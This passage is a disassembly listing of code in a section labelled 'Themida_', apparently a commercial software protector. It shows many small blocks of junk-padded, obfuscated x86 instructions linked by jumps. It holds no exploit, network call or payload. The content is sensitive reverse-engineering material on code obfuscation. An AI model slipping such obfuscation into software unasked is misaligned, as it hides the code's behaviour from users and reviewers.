; ---------------------------------------------------------------------------
loc_5A0A99: ; CODE XREF: Themida_:005A8ADBj
add edx, 7E91757h
push 2ABFh
mov [esp], eax
mov eax, 5A960056h
push 72AAh
mov [esp], ecx
mov ecx, 618E65A0h
or eax, ecx
pop ecx
xor eax, 0FB857A2Bh
xor edx, eax
mov eax, [esp]
add esp, 4
jmp loc_59960E
; ---------------------------------------------------------------------------
loc_5A0AD1: ; CODE XREF: Themida_:0059DFEEj
add esp, 4
add esi, 7C50B5Dh
sub esi, 0D68F8346h
sub ebx, esi
pop esi
add ebx, 5FC70574h
jmp loc_599887
; ---------------------------------------------------------------------------
loc_5A0AEE: ; CODE XREF: Themida_:005A198Aj
mov ebx, 61BA4B23h
push esi
mov esi, 61BA4B1Fh
sub ebx, esi
pop esi
add ecx, ebx
pop ebx
sub ecx, 4
xchg ecx, [esp]
jmp loc_59C8E7
; ---------------------------------------------------------------------------
loc_5A0B0D: ; CODE XREF: Themida_:0059BD9Cj
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_5A2357
; ---------------------------------------------------------------------------
loc_5A0B1B: ; CODE XREF: Themida_:005AB7CAj
sub ch, bh
pop ebx
jmp loc_5A8C9B
; ---------------------------------------------------------------------------
loc_5A0B23: ; CODE XREF: Themida_:0059C09Dj
push ebp
mov ebp, 437E1704h
xor ecx, ebp
pop ebp
add ebp, 13182F84h
sub ebp, 6B612842h
jmp loc_5AC175
; ---------------------------------------------------------------------------
loc_5A0B3D: ; CODE XREF: Themida_:0059F3CBj
add al, ch
pop ecx
mov ecx, [esp]
add esp, 4
push cx
sub esp, 4
mov [esp], ebx
mov bl, 0BAh
xor bl, 1Ch
jnz loc_5A5A45
jmp loc_5AADAC
; ---------------------------------------------------------------------------
shr edi, 7
mov bh, 0CCh
loc_5A0B67: ; CODE XREF: Themida_:00599386j
pop ebp
xor ebx, 3E732C75h
jmp loc_5A06A5
; ---------------------------------------------------------------------------
loc_5A0B73: ; CODE XREF: Themida_:0059D99Ej
add esp, 4
push 4582h
mov [esp], ecx
mov ecx, 371C2C1Dh
add ecx, 55B62EEEh
dec ecx
jmp loc_5AA3B0
; ---------------------------------------------------------------------------
loc_5A0B92: ; CODE XREF: Themida_:005A9340j
sub esi, 0E2882870h
and edx, esi
pop esi
sub edx, 147383Ch
add esi, edx
pop edx
push edx
push ebx
mov ebx, 184A498Fh
mov edx, ebx
jmp loc_59FC3D
; ---------------------------------------------------------------------------
loc_5A0BB2: ; CODE XREF: Themida_:0059C92Bj
xor ch, bl
xor bl, ch
xor ch, bl
push dx
mov dl, bl
not dl
mov bl, dl
pop dx
push ax
jmp loc_5A2BA5
; ---------------------------------------------------------------------------
loc_5A0BC9: ; CODE XREF: Themida_:005A487Aj
add ecx, ebx
pop ebx
sub ecx, edx
sub ecx, 3D5832ABh
pop edx
xor ecx, 4E3C58F0h
and eax, ecx
pop ecx
or eax, eax
jz loc_5ABBC2
push dword ptr [edi+1Ch]
push eax
mov eax, 755A0996h
xor [esp+4], eax
mov eax, [esp]
add esp, 4
pop ecx
jmp loc_5AA3F5
; ---------------------------------------------------------------------------
loc_5A0C02: ; CODE XREF: Themida_:005AD266j
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebx
jmp loc_5A8698
; ---------------------------------------------------------------------------
loc_5A0C10: ; CODE XREF: Themida_:0059A881j
mov ebp, esp
add ebp, 4
jmp loc_5ABEA5
; ---------------------------------------------------------------------------
loc_5A0C1D: ; CODE XREF: Themida_:005A722Dj
xchg ebp, [esp]
jmp loc_59E4C4
; ---------------------------------------------------------------------------
loc_5A0C25: ; CODE XREF: Themida_:005A9BCBj
xor eax, ebp
pop ebp
add eax, 3F9F5F1Ah
jmp loc_59F81B
; ---------------------------------------------------------------------------
loc_5A0C32: ; CODE XREF: Themida_:005AF4CEj
push 0DFh
mov [esp], ecx
mov ecx, 4
add ebx, ecx
pop ecx
sub ebx, 4
jmp loc_5A1061
; ---------------------------------------------------------------------------
loc_5A0C4D: ; CODE XREF: Themida_:005A4504j
mov ebp, edi
push ebp
pop edx
pop ebp
pop edi
and eax, edx
jmp loc_5AB0EA
; ---------------------------------------------------------------------------
loc_5A0C5A: ; CODE XREF: Themida_:0059EDF8j
shr ch, 5
sub ch, 1
sub ch, 96h
sub bl, 0AAh
jmp loc_598E77
; ---------------------------------------------------------------------------
loc_5A0C6B: ; CODE XREF: Themida_:005A5E08j
sub edx, 5672391Eh
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_5A2F07
; ---------------------------------------------------------------------------
loc_5A0C82: ; CODE XREF: Themida_:005A90A1j
mov ebp, 72B52671h
sub ecx, ebp
pop ebp
jmp loc_5997DB
; ---------------------------------------------------------------------------
loc_5A0C8F: ; CODE XREF: Themida_:00598EB8j
push 6C4Fh
mov [esp], esp
push eax
mov eax, 4
add dword ptr [esp+4], 261F0D66h
add [esp+4], eax
sub dword ptr [esp+4], 261F0D66h
pop eax
jmp loc_5A1415
; ---------------------------------------------------------------------------
loc_5A0CB7: ; CODE XREF: Themida_:00599931j
jl loc_59A53C
jmp loc_5A1A42
; ---------------------------------------------------------------------------
loc_5A0CC2: ; CODE XREF: Themida_:005A72D2j
push esi
mov esi, esp
jmp loc_5AB0D2
; ---------------------------------------------------------------------------
loc_5A0CCA: ; CODE XREF: Themida_:005A4543j
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_5A86F6
; ---------------------------------------------------------------------------
loc_5A0CDB: ; CODE XREF: Themida_:0059BFC2j
sub esi, 64450EBCh
xor ebp, esi
jmp loc_59EC33
; ---------------------------------------------------------------------------
loc_5A0CE8: ; CODE XREF: Themida_:0059B96Fj
mov esi, 78852F80h
and esi, 7ADD391Eh
dec esi
js loc_59DBCB
push edi
push edx
jmp loc_5A5D4E
; ---------------------------------------------------------------------------
loc_5A0D01: ; CODE XREF: Themida_:loc_5A9D26j
neg eax
jl loc_5A260B
xor eax, 67A1525Eh
xor eax, 23F25F76h
mov esi, eax
jmp loc_59996F
; ---------------------------------------------------------------------------
loc_5A0D1A: ; CODE XREF: Themida_:005AE251j
sub ebx, 21841467h
xor ebx, 0C954F5EFh
sub ebp, ebx
pop ebx
add ebp, esi
add ebp, 16320B0Ah
push dword ptr [esp]
mov esi, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_599036
; ---------------------------------------------------------------------------
loc_5A0D45: ; CODE XREF: Themida_:0059FD66j
mov [edi+eax*4+1], cl
mov ecx, [esp]
add esp, 4
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A0D61: ; CODE XREF: Themida_:005A8F12j
add edx, ebp
push dword ptr [esp]
pop ebp
push ebx
jmp loc_5A36F2
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_5AA933
; ---------------------------------------------------------------------------
loc_5A0D75: ; CODE XREF: Themida_:005A48DCj
; Themida_:005A62E3j
xor dx, 327Ch
xor ax, dx
mov edx, [esp]
add esp, 4
push cx
jmp loc_5ACD36
; ---------------------------------------------------------------------------
loc_5A0D8D: ; CODE XREF: Themida_:005ADD99j
push esp
mov edx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_5AA431
; ---------------------------------------------------------------------------
loc_5A0DA8: ; CODE XREF: Themida_:005AEF52j
xchg ah, dh
push ecx
jmp loc_59F5B3
; ---------------------------------------------------------------------------
loc_5A0DB0: ; CODE XREF: Themida_:005ACDCAj
mov edx, 5DBC3500h
jmp loc_5ABB7F
; ---------------------------------------------------------------------------
loc_5A0DBA: ; CODE XREF: Themida_:0059C146j
add ecx, edi
jmp loc_59F235
; ---------------------------------------------------------------------------
loc_5A0DC1: ; CODE XREF: Themida_:0059F5B5j
not ch
dec ch
not ch
jmp loc_5A69EB
; ---------------------------------------------------------------------------
loc_5A0DCC: ; CODE XREF: Themida_:005A2A67j
xor ah, 5
push 7878h
jmp loc_59FF99
; ---------------------------------------------------------------------------
loc_5A0DD9: ; CODE XREF: Themida_:005ADEBAj
push ecx
jmp loc_59F9E0
; ---------------------------------------------------------------------------
loc_5A0DDF: ; CODE XREF: Themida_:005AE9EFj
xor edi, [esp]
jmp loc_5A66C6
; ---------------------------------------------------------------------------
loc_5A0DE7: ; CODE XREF: Themida_:005A173Fj
pop eax
push edx
jmp loc_5AC24B
; ---------------------------------------------------------------------------
loc_5A0DEE: ; CODE XREF: Themida_:005AC6ABj
pop eax
pop edx
and eax, ebp
pop ebp
shr eax, 0Ch
xor eax, ecx
push 1BC6h
jmp loc_5A86EA
; ---------------------------------------------------------------------------
loc_5A0E02: ; CODE XREF: Themida_:005A735Aj
add ebx, 362F79C6h
mov edi, ebx
pop ebx
jmp loc_5A3040
; ---------------------------------------------------------------------------
loc_5A0E10: ; CODE XREF: Themida_:005A6031j
mov esp, [esp]
push eax
push esp
pop eax
push ebx
mov ebx, 4
sub eax, 0C8E3C7Eh
add eax, ebx
jmp loc_5A55FE
; ---------------------------------------------------------------------------
loc_5A0E28: ; CODE XREF: Themida_:0059AC2Bj
shr edx, 6
xor edx, 3A7CA09h
add edi, edx
jmp loc_5AC200
; ---------------------------------------------------------------------------
loc_5A0E38: ; CODE XREF: Themida_:0059E210j
; Themida_:0059F88Dj
pop edi
pop eax
jmp loc_5AE4FC
; ---------------------------------------------------------------------------
loc_5A0E3F: ; CODE XREF: Themida_:0059D6B9j
bts [esp], ax
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A0E4A: ; CODE XREF: Themida_:0059E1D1j
shl ebx, 5
not ebx
jmp loc_5A29FA
; ---------------------------------------------------------------------------
loc_5A0E54: ; CODE XREF: Themida_:0059D50Dj
not edx
jmp loc_59EB5A
; ---------------------------------------------------------------------------
loc_5A0E5B: ; CODE XREF: Themida_:0059BE3Dj
; Themida_:005AC1F8j
mov esp, [esp]
mov [esp], esi
push ebp
mov ebp, 2A77454Ch
jmp loc_5AED13
; ---------------------------------------------------------------------------
loc_5A0E6C: ; DATA XREF: Themida_:005986C4o
mov cx, [esp]
push esi
sub esp, 4
mov [esp], eax
push esp
pop eax
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
pop esi
push 65DBh
jmp loc_599B76
; ---------------------------------------------------------------------------
loc_5A0E9D: ; CODE XREF: Themida_:005A4F33j
mov eax, 55B37624h
dec eax
inc eax
add eax, 29E0BA4h
add eax, 0CAC6A515h
sub edx, eax
pop eax
add edx, esi
push eax
mov eax, 5B5C0A4Eh
push edi
jmp loc_59E67C
; ---------------------------------------------------------------------------
loc_5A0EBF: ; CODE XREF: Themida_:005A4DEDj
; Themida_:005AF2B3j
xor al, bl
mov bx, [esp]
jmp loc_5A5068
; ---------------------------------------------------------------------------
loc_5A0ECA: ; CODE XREF: Themida_:0059CA4Aj
mov [esp], ecx
pop edx
pop ecx
jmp loc_59A734
; ---------------------------------------------------------------------------
loc_5A0ED4: ; CODE XREF: Themida_:005A8E7Dj
add esp, 4
xor esi, edx
push dword ptr [esp]
pop edx
push eax
jmp loc_5A75B1
; ---------------------------------------------------------------------------
loc_5A0EE6: ; CODE XREF: Themida_:0059F528j
xchg ebx, [esp]
pop esp
mov [esp], ebx
mov bh, 44h
push 6D72h
mov [esp], eax
push ecx
mov cl, 0CBh
mov ah, cl
mov ecx, [esp]
add esp, 4
sub bh, ah
pop eax
sub esp, 4
mov [esp], eax
mov ah, 60h
sub ah, 0CEh
xor bh, ah
pop eax
push ebx
mov bh, 0D1h
jmp loc_59B931
; ---------------------------------------------------------------------------
loc_5A0F1B: ; CODE XREF: Themida_:0059A268j
; Themida_:loc_5A9011j
add [esp+4], ebx
pop ebx
pop edi
add edi, 4
push edx
mov edx, 79DD3BBCh
jmp loc_5A4F7F
; ---------------------------------------------------------------------------
loc_5A0F32: ; CODE XREF: Themida_:005AB44Cj
mov [esp], edi
push esp
pop edi
sub esp, 4
mov [esp], ebx
mov ebx, 7BDC3B38h
xor ebx, 7BDC3B3Ch
jmp loc_5AD530
; ---------------------------------------------------------------------------
loc_5A0F50: ; CODE XREF: Themida_:005A06D0j
mov edi, 7B4D69C9h
sub edi, 0FFFFFFFFh
jmp loc_5ABF19
; ---------------------------------------------------------------------------
loc_5A0F60: ; CODE XREF: Themida_:005ADC92j
or ebp, 28287460h
or ebp, 16427A2Eh
jmp loc_59D829
; ---------------------------------------------------------------------------
loc_5A0F71: ; CODE XREF: Themida_:0059E3E4j
push ebx
mov ebx, 550865E2h
and edi, ebx
pop ebx
jmp loc_5ACA2B
; ---------------------------------------------------------------------------
loc_5A0F7F: ; CODE XREF: Themida_:005A2BCCj
sub eax, ebx
pop ebx
push dword ptr [esp]
pop esi
jmp loc_5AF5FF
; ---------------------------------------------------------------------------
loc_5A0F8B: ; CODE XREF: Themida_:005AF931j
add esi, edx
sub esi, 6AB21CF3h
pop edx
jmp loc_5AE9F4
; ---------------------------------------------------------------------------
loc_5A0F99: ; CODE XREF: Themida_:0059C647j
mov edi, 35EF59CFh
push 35EF59D3h
pop ebp
sub ebp, edi
jmp loc_5AE0E7
; ---------------------------------------------------------------------------
loc_5A0FAB: ; CODE XREF: Themida_:0059A2A5j
jns loc_59CB55
add esi, 21BD7600h
shl esi, 7
xor esi, 85E1A442h
sub eax, 12D16A88h
add eax, esi
add eax, 12D16A88h
pop esi
jmp loc_5A0459
; ---------------------------------------------------------------------------
loc_5A0FD2: ; CODE XREF: Themida_:005A6552j
mov edi, [esp]
push eax
jmp loc_5AF15A
; ---------------------------------------------------------------------------
loc_5A0FDB: ; CODE XREF: Themida_:0059FF1Dj
add edx, 1
jmp loc_5ABB72
; ---------------------------------------------------------------------------
loc_5A0FE3: ; CODE XREF: Themida_:005AE7ACj
sub si, 5B65h
mov cx, si
jmp loc_598EDA
; ---------------------------------------------------------------------------
loc_5A0FF0: ; CODE XREF: Themida_:005A7CFFj
mov cl, 0C6h
add cl, 0C5h
jge loc_598F7F
add cl, 6Eh
shr cl, 8
xor cl, 63h
jg loc_5A648F
push eax
mov ah, 68h
push ebx
mov bh, 50h
dec bh
sub al, 72h
push esi
loc_5A1015: ; CODE XREF: Themida_:005A73F5j
push 3C23h
jmp loc_5AA59E
; ---------------------------------------------------------------------------
loc_5A101F: ; CODE XREF: Themida_:005996E1j
; Themida_:005A221Aj
add ebx, edi
add ebx, 48B92AFEh
push edx
push edi
mov edi, 4E683415h
mov edx, 4E683415h
xor edx, edi
jmp loc_59BD41
; ---------------------------------------------------------------------------
loc_5A103A: ; DATA XREF: Themida_:00598838o
mov ax, [esp]
sub esp, 4
jmp loc_5AF7B6
; ---------------------------------------------------------------------------
loc_5A1049: ; CODE XREF: Themida_:005A5168j
sub bl, 7Dh
sub bl, 0D4h
jmp loc_5AE006
; ---------------------------------------------------------------------------
loc_5A1054: ; CODE XREF: Themida_:0059D336j
push 2084h
mov [esp], ecx
jmp loc_59DB3A
; ---------------------------------------------------------------------------
loc_5A1061: ; CODE XREF: Themida_:005A0C48j
xchg ebx, [esp]
jmp loc_5ACE12
; ---------------------------------------------------------------------------
loc_5A1069: ; CODE XREF: Themida_:0059906Aj
sub bl, dh
mov dx, [esp]
jmp loc_5AD29B
; ---------------------------------------------------------------------------
loc_5A1074: ; CODE XREF: Themida_:005AABDEj
mov [esp], esi
mov esi, 213021D1h
or esi, 0FDB36A9h
sub esi, 51360E8h
add esi, 0EF8D5810h
sub edx, 358C6F91h
jmp loc_5989FD
; ---------------------------------------------------------------------------
loc_5A1099: ; CODE XREF: Themida_:loc_5A8C7Ej
add ebp, 18D9CE2Ch
sub [esp+4], ebp
jmp loc_5A7A50
; ---------------------------------------------------------------------------
loc_5A10A8: ; CODE XREF: Themida_:005AF9D3j
push 74C5h
mov [esp], ecx
sub esp, 4
mov [esp], esp
jmp loc_59A503
; ---------------------------------------------------------------------------
loc_5A10BE: ; CODE XREF: Themida_:005AD0DEj
add ebx, edx
add ebx, 9577FA9h
jmp loc_59ABEC
; ---------------------------------------------------------------------------
loc_5A10CB: ; CODE XREF: Themida_:005AD397j
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
jmp loc_5A70EE
; ---------------------------------------------------------------------------
loc_5A10DF: ; CODE XREF: Themida_:005AA228j
push ebx
push esp
mov ebx, [esp]
add esp, 4
push edx
mov edx, 4
jmp loc_5A3953
; ---------------------------------------------------------------------------
loc_5A10F5: ; CODE XREF: Themida_:005A211Fj
mov ebp, esp
jmp loc_59F410
; ---------------------------------------------------------------------------
loc_5A10FC: ; CODE XREF: Themida_:005A6484j
sub al, bl
sub al, 26h
push 6014h
mov [esp], ecx
push 2250h
mov [esp], edx
push 4D02h
mov [esp], ebx
mov bl, 0B9h
jmp loc_5A4F9F
; ---------------------------------------------------------------------------
loc_5A111F: ; CODE XREF: Themida_:005A1832j
pop eax
push edi
push esp
jmp loc_59CD2B
; ---------------------------------------------------------------------------
loc_5A1127: ; CODE XREF: Themida_:005AD577j
jmp loc_5AA911
; ---------------------------------------------------------------------------
loc_5A112C: ; CODE XREF: Themida_:005AB0AAj
add esp, 4
sub esi, 4
xor esi, [esp]
jmp loc_59BE37
; ---------------------------------------------------------------------------
loc_5A113D: ; CODE XREF: Themida_:005ABB12j
sub edi, 0E7C5511Dh
xor edi, 57BA39A8h
jmp loc_59A550
; ---------------------------------------------------------------------------
loc_5A114E: ; CODE XREF: Themida_:005A89ACj
not ebp
push ebp
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
pop edi
add edi, 9470620Bh
add ebx, edi
mov edi, [esp]
add esp, 4
sub ebx, 450C4122h
sub ebx, eax
add ebx, 450C4122h
push 0F91h
mov [esp], ecx
jmp loc_59F970
; ---------------------------------------------------------------------------
loc_5A118E: ; CODE XREF: Themida_:0059A75Ej
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_5A954E
; ---------------------------------------------------------------------------
loc_5A11A1: ; CODE XREF: Themida_:005A8605j
jnz loc_5A993D
dec esi
jg loc_5A5AFD
mov ah, ch
mov ebx, edi
loc_5A11B2: ; CODE XREF: Themida_:005A83CAj
sub dx, 4949h
pop ax
xor ax, dx
mov edx, [esp]
add esp, 4
push edx
jmp loc_5A76ED
; ---------------------------------------------------------------------------
loc_5A11C8: ; CODE XREF: Themida_:005A7CE3j
jns loc_5A5E1C
jmp loc_5AD6F0
; ---------------------------------------------------------------------------
loc_5A11D3: ; CODE XREF: Themida_:005ACB2Aj
sub esi, 0A17FFD5Fh
and ecx, esi
pop esi
shr ecx, 7
push ecx
mov ecx, 1Ch
jmp loc_59E6D7
; ---------------------------------------------------------------------------
loc_5A11EA: ; CODE XREF: Themida_:005A24E6j
pop ecx
jmp loc_5A8051
; ---------------------------------------------------------------------------
loc_5A11F0: ; CODE XREF: Themida_:005A4708j
push dword ptr [esp]
pop edi
add esp, 4
shl edi, 2
jmp loc_5AF76E
; ---------------------------------------------------------------------------
loc_5A11FF: ; CODE XREF: Themida_:005A5457j
; Themida_:005AEE65j
add eax, ebp
add eax, 57515842h
pop ebp
jmp loc_5A4674
; ---------------------------------------------------------------------------
loc_5A120C: ; CODE XREF: Themida_:005AA656j
push dword ptr [eax]
jmp loc_5A4680
; ---------------------------------------------------------------------------
loc_5A1213: ; CODE XREF: Themida_:005AEA4Bj
push dword ptr [edi+1Ch]
popf
pop cx
rcr byte ptr [esp], cl
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A1222: ; CODE XREF: Themida_:005A981Ej
mov ch, 0Eh
sub ch, 62h
push cx
dec byte ptr [esp+1]
pop cx
add ch, 55h
jmp loc_5AAA41
; ---------------------------------------------------------------------------
loc_5A1237: ; CODE XREF: Themida_:005A2BA8j
mov dh, ch
mov bl, dh
pop edx
mov ch, ah
jmp loc_5994D5
; ---------------------------------------------------------------------------
loc_5A1243: ; CODE XREF: Themida_:005A69EEj
xor ch, 0D0h
add dh, ch
pop ecx
push bx
mov bh, 62h
add dh, 5Fh
sub dh, bh
jmp loc_5AD7EF
; ---------------------------------------------------------------------------
loc_5A1257: ; CODE XREF: Themida_:0059F72Cj
mov edx, esp
add edx, 4
add edx, 4
jmp loc_5AE776
; ---------------------------------------------------------------------------
loc_5A126A: ; CODE XREF: Themida_:005A6D77j
mov ch, 47h
push ecx
jmp loc_5A1C2C
; ---------------------------------------------------------------------------
loc_5A1272: ; CODE XREF: Themida_:005AF3C0j
and [edi+1Ch], ebx
mov ebx, [esp]
push ecx
jmp loc_5A7F9E
; ---------------------------------------------------------------------------
loc_5A127E: ; CODE XREF: Themida_:0059E7C5j
push edx
push edi
mov edi, 41891B27h
mov edx, 0BD60AEEh
add edx, 6FD94CA4h
sub edx, 0AA3FFDh
add edx, edi
jmp loc_5AE851
; ---------------------------------------------------------------------------
loc_5A129D: ; CODE XREF: Themida_:005AB759j
sub al, dl
add al, 0D9h
add al, 67h
pop edx
push edx
mov dh, 0BEh
sub al, dh
mov edx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_5A4D65
; ---------------------------------------------------------------------------
loc_5A12C3: ; CODE XREF: Themida_:00598C13j
mov [esp], dx
push ecx
mov cl, 31h
jmp loc_5A43BE
; ---------------------------------------------------------------------------
loc_5A12CF: ; CODE XREF: Themida_:0059A414j
add esp, 4
jmp loc_59F14F
; ---------------------------------------------------------------------------
loc_5A12DA: ; CODE XREF: Themida_:00598CAFj
neg esi
shl esi, 6
push eax
mov eax, 7BDF53D7h
jmp loc_5AFCEA
; ---------------------------------------------------------------------------
loc_5A12EA: ; CODE XREF: Themida_:005AC2B0j
pop edi
xchg edx, [esp]
pop esp
mov [esp], edx
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A12F7: ; CODE XREF: Themida_:005A2312j
sub ecx, esi
pop esi
push 5DE2h
mov [esp], edx
mov edx, 2D3E3966h
and edx, 50EA7A1Ah
neg edx
xor edx, 4A01C94h
jmp loc_59A9EC
; ---------------------------------------------------------------------------
loc_5A131A: ; CODE XREF: Themida_:005A8FFFj
pop edi
sub esp, 4
mov [esp], ebx
mov ebx, 4
add ecx, ebx
push dword ptr [esp]
pop ebx
add esp, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
add esp, 4
inc dword ptr [esp]
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A1348: ; CODE XREF: Themida_:005A3383j
not esi
not esi
add esi, 7D027935h
sub ecx, esi
pop esi
push ecx
add dword ptr [esp], 6E7A051Fh
pop edx
jmp loc_59AA1F
; ---------------------------------------------------------------------------
loc_5A1363: ; CODE XREF: Themida_:005A5EDBj
xor eax, edx
xor edx, eax
xor eax, edx
not edx
jmp loc_5AF379
; ---------------------------------------------------------------------------
loc_5A1370: ; CODE XREF: Themida_:0059D5C9j
add esp, 4
push ebx
mov ebx, 6AB26D1h
mov eax, 0C32D65F0h
xor eax, ebx
pop ebx
add eax, edx
mov edx, [esp]
push 191Dh
jmp loc_59D808
; ---------------------------------------------------------------------------
loc_5A1393: ; CODE XREF: Themida_:005AAF7Ej
push 374F0B20h
pop esi
mov edi, 0B26D7C8Fh
jmp loc_599131
; ---------------------------------------------------------------------------
loc_5A13A3: ; CODE XREF: Themida_:0059A758j
push ebx
push 3EB31162h
pop ebx
not ebx
push eax
mov eax, 60D452E9h
and ebx, eax
pop eax
jmp loc_59D351
; ---------------------------------------------------------------------------
loc_5A13BA: ; CODE XREF: Themida_:0059CFE0j
add ecx, 4F542409h
neg ecx
xor ecx, 1E8E7F5Bh
shr ecx, 4
add ecx, 1A6575A7h
jmp loc_5A817D
; ---------------------------------------------------------------------------
loc_5A13D6: ; CODE XREF: Themida_:005A66A4j
xor edx, 7F2C0A9Ch
jnb loc_59CD1E
sub edx, 0B9B10C40h
not edx
mov bl, dl
mov ecx, edx
loc_5A13EE: ; CODE XREF: Themida_:005A6BB0j
add esp, 4
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A13F6: ; CODE XREF: Themida_:005A591Cj
push edx
sub esp, 4
mov [esp], ebx
jmp loc_5A7319
; ---------------------------------------------------------------------------
loc_5A1402: ; CODE XREF: Themida_:0059DC64j
pop edx
mov ebx, ecx
jmp loc_5A656B
; ---------------------------------------------------------------------------
loc_5A140A: ; CODE XREF: Themida_:005A6430j
sub ecx, 37B9612Dh
jmp loc_5A931F
; ---------------------------------------------------------------------------
loc_5A1415: ; CODE XREF: Themida_:005A0CB2j
pop esi
jmp loc_599A5B
; ---------------------------------------------------------------------------
loc_5A141B: ; CODE XREF: Themida_:005AE714j
add esi, 5BB27A06h
add esi, 5DA14A01h
mov eax, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
jmp loc_5A529D
; ---------------------------------------------------------------------------
loc_5A144D: ; CODE XREF: Themida_:00599F29j
xor ebx, 6F7C8B28h
push ebx
jmp loc_59FF36
; ---------------------------------------------------------------------------
loc_5A1459: ; CODE XREF: Themida_:0059F07Bj
mov ebp, 10B311Eh
add eax, ebp
pop ebp
add eax, 2A2FBFF7h
mov ebx, eax
pop eax
sub [esp+0Ch], ebx
pop ebx
mov ebp, [esp]
add esp, 4
add [esp+4], edi
add dword ptr [esp+4], 580248E3h
sub dword ptr [esp+4], 1DCD7D40h
jmp loc_5A42F3
; ---------------------------------------------------------------------------
loc_5A1490: ; CODE XREF: Themida_:005A64E5j
pop ebp
add esp, 4
jmp loc_59E379
; ---------------------------------------------------------------------------
loc_5A149C: ; CODE XREF: Themida_:005ADEC1j
pop edx
neg bl
shl bl, 4
sub bl, 64h
sub al, 89h
add al, bl
add al, 89h
jmp loc_5AB136
; ---------------------------------------------------------------------------
loc_5A14B0: ; CODE XREF: Themida_:0059E13Dj
push cx
jmp loc_5993A1
; ---------------------------------------------------------------------------
loc_5A14B7: ; DATA XREF: Themida_:00598728o
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], ebx
push 75CFh
jmp loc_5AB065
; ---------------------------------------------------------------------------
loc_5A14CB: ; CODE XREF: Themida_:005A1FC5j
pop esp
mov [esp], ecx
push dx
mov dl, 8Eh
push eax
mov ah, dl
mov ch, ah
mov eax, [esp]
add esp, 4
pop dx
jmp loc_5A2AEA
; ---------------------------------------------------------------------------
loc_5A14E5: ; CODE XREF: Themida_:0059FCE5j
mov bh, dl
pop edx
pop ecx
xor ch, bh
pop bx
sub al, ch
mov ecx, [esp]
add esp, 4
push 5315h
jmp loc_5A6D62
; ---------------------------------------------------------------------------
loc_5A14FF: ; CODE XREF: Themida_:005A6547j
add esi, 410545E5h
mov ebx, esi
jmp loc_5A4879
; ---------------------------------------------------------------------------
loc_5A150C: ; CODE XREF: Themida_:005A64AFj
xor ebp, [esp]
xor [esp], ebp
jmp loc_5AB63B
; ---------------------------------------------------------------------------
loc_5A1517: ; CODE XREF: Themida_:005A9D8Dj
add ecx, edi
add ecx, 4F11B51h
sub ecx, 4919103Bh
push dword ptr [ecx]
xor dword ptr [esp], 7D0D34B5h
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
mov edx, 74F56C82h
dec edx
push 2DB4h
mov [esp], ecx
jmp loc_59CD33
; ---------------------------------------------------------------------------
loc_5A1550: ; CODE XREF: Themida_:005993B1j
; Themida_:005A20F6j
mov esi, 211530B8h
push edi
mov edi, 5EC5120h
shr edi, 8
sub edi, 555724A2h
sub esi, edi
pop edi
add ebx, 75D23FB7h
sub ebx, 2F087D67h
sub ebx, esi
add ebx, 2F087D67h
sub esp, 4
mov [esp], edx
jmp loc_59DD56
; ---------------------------------------------------------------------------
loc_5A1589: ; CODE XREF: Themida_:005AE1F6j
add edi, 30410FD4h
push ecx
push ebp
mov ebp, 2BAD3499h
mov ecx, ebp
pop ebp
sub edi, ecx
pop ecx
add edi, esi
add edi, 2BAD3499h
jmp loc_59E1D6
; ---------------------------------------------------------------------------
loc_5A15A9: ; CODE XREF: Themida_:005ABA98j
mov [esp], eax
jmp loc_599B84
; ---------------------------------------------------------------------------
loc_5A15B1: ; CODE XREF: Themida_:005A33B6j
push dword ptr [esp]
pop edx
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_59DF5F
; ---------------------------------------------------------------------------
loc_5A15C9: ; CODE XREF: Themida_:005A2292j
push 922h
mov [esp], ebx
push edx
mov edx, 167D6F7Ah
mov ebx, edx
pop edx
push ecx
mov ecx, 52F113D6h
or ecx, 556E602Fh
not ecx
not ecx
push esi
mov esi, 0DCF9E2D5h
add ecx, esi
pop esi
or ebx, ecx
mov ecx, [esp]
push 748Ah
mov [esp], eax
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_59937B
; ---------------------------------------------------------------------------
loc_5A1614: ; CODE XREF: Themida_:005ADD4Fj
shl esi, 3
shl esi, 5
dec esi
neg esi
jmp loc_5AB20D
; ---------------------------------------------------------------------------
loc_5A1622: ; CODE XREF: Themida_:005A4372j
pop esi
mov edi, [esp]
add esp, 4
push edx
mov edx, 4D456C12h
shl edx, 7
dec edx
add edx, 5D49F705h
add edi, 15FD3761h
add edi, edx
jmp loc_5AA0EC
; ---------------------------------------------------------------------------
loc_5A1646: ; CODE XREF: Themida_:0059AE76j
add edi, esi
add edi, 0FAD7AF2h
mov esi, [esp]
add esp, 4
jmp loc_5A7B80
; ---------------------------------------------------------------------------
loc_5A1659: ; CODE XREF: Themida_:loc_5A4FC2j
not eax
add eax, 0CE517951h
jmp loc_59E6E9
; ---------------------------------------------------------------------------
loc_5A1665: ; CODE XREF: Themida_:0059BA29j
push ebx
